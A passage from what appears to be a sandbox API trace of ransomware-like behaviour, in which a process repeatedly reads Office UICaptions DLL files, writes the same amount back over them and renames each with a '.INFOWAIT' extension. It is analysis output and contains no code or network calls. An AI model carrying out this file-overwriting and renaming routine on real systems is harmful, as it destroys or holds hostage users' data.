(lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\STINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\stintl.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\STINTL.DLL.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\stintl.dll.trx_dll.infowait")) returned 1 [0125.387] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.388] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.388] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0125.388] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISBRRES.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\visbrres.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0125.389] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x6960 [0125.389] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0125.389] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.389] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x6960, lpOverlapped=0x0) returned 1 [0125.424] VirtualAlloc (lpAddress=0x0, dwSize=0x6960, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0125.426] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.426] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x6960, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x6960, lpOverlapped=0x0) returned 1 [0125.427] CloseHandle (hObject=0xad4) returned 1 [0125.427] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISBRRES.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISBRRES.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISBRRES.DLL.trx_dll" [0125.427] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISBRRES.DLL.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISBRRES.DLL.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISBRRES.DLL.trx_dll.INFOWAIT" [0125.427] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISBRRES.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\visbrres.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISBRRES.DLL.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\visbrres.dll.trx_dll.infowait")) returned 1 [0125.428] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.429] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.429] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0125.429] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\visintl.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0125.430] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x77560 [0125.430] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0125.430] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.430] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0125.588] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0125.602] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.602] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0125.602] CloseHandle (hObject=0xad4) returned 1 [0125.603] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISINTL.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISINTL.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISINTL.DLL.trx_dll" [0125.603] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISINTL.DLL.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISINTL.DLL.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISINTL.DLL.trx_dll.INFOWAIT" [0125.603] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\visintl.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISINTL.DLL.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\visintl.dll.trx_dll.infowait")) returned 1 [0125.604] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.605] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.606] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0125.606] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\wwintl.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0125.607] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x25b60 [0125.608] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0125.608] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.608] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0125.851] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0125.860] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.860] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0125.861] CloseHandle (hObject=0xad4) returned 1 [0125.861] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.DLL.trx_dll" [0125.861] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.DLL.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.DLL.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.DLL.trx_dll.INFOWAIT" [0125.861] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\wwintl.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.DLL.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\wwintl.dll.trx_dll.infowait")) returned 1 [0125.862] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.862] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.863] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0125.863] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\wwintl.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0125.863] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x115b60 [0125.864] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0125.864] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.864] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0125.937] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0125.949] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.949] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0125.949] CloseHandle (hObject=0xad4) returned 1 [0125.949] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.REST.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.REST.trx_dll" [0125.949] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.REST.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.REST.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.REST.trx_dll.INFOWAIT" [0125.949] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\wwintl.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.REST.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\wwintl.rest.trx_dll.infowait")) returned 1 [0125.950] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.951] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.952] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0125.952] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\xlintl32.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0125.953] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x25360 [0125.953] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0125.953] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.953] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25360, lpOverlapped=0x0) returned 1 [0126.160] VirtualAlloc (lpAddress=0x0, dwSize=0x25360, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0126.172] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.172] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25360, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25360, lpOverlapped=0x0) returned 1 [0126.172] CloseHandle (hObject=0xad4) returned 1 [0126.173] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.DLL.trx_dll" [0126.173] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.DLL.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.DLL.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.DLL.trx_dll.INFOWAIT" [0126.173] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\xlintl32.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.DLL.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\xlintl32.dll.trx_dll.infowait")) returned 1 [0126.174] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.175] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.176] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0126.176] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\xlintl32.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0126.177] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x137960 [0126.177] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0126.177] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.177] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0126.267] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0126.279] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.279] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0126.279] CloseHandle (hObject=0xad4) returned 1 [0126.279] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.REST.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.REST.trx_dll" [0126.279] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.REST.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.REST.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.REST.trx_dll.INFOWAIT" [0126.279] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\xlintl32.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.REST.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\xlintl32.rest.trx_dll.infowait")) returned 1 [0126.280] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.281] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.282] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0126.282] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLSLICER.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\xlslicer.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0126.283] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x3d60 [0126.283] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0126.284] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.284] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x3d60, lpOverlapped=0x0) returned 1 [0126.305] VirtualAlloc (lpAddress=0x0, dwSize=0x3d60, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0126.306] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.307] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x3d60, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x3d60, lpOverlapped=0x0) returned 1 [0126.307] CloseHandle (hObject=0xad4) returned 1 [0126.307] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLSLICER.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLSLICER.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLSLICER.DLL.trx_dll" [0126.307] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLSLICER.DLL.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLSLICER.DLL.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLSLICER.DLL.trx_dll.INFOWAIT" [0126.307] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLSLICER.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\xlslicer.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLSLICER.DLL.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\xlslicer.dll.trx_dll.infowait")) returned 1 [0126.308] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.309] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.309] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0126.309] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ENVELOPR.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\envelopr.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0126.310] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x3760 [0126.310] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0126.310] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.311] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x3760, lpOverlapped=0x0) returned 1 [0126.404] VirtualAlloc (lpAddress=0x0, dwSize=0x3760, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0126.405] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.405] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x3760, lpOverlapped=0x0) returned 1 [0126.405] CloseHandle (hObject=0xad4) returned 1 [0126.405] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ENVELOPR.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ENVELOPR.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ENVELOPR.DLL.trx_dll" [0126.405] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ENVELOPR.DLL.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ENVELOPR.DLL.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ENVELOPR.DLL.trx_dll.INFOWAIT" [0126.405] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ENVELOPR.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\envelopr.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ENVELOPR.DLL.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\envelopr.dll.trx_dll.infowait")) returned 1 [0126.406] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.407] VirtualFree (lpAddress=0x5e0000, 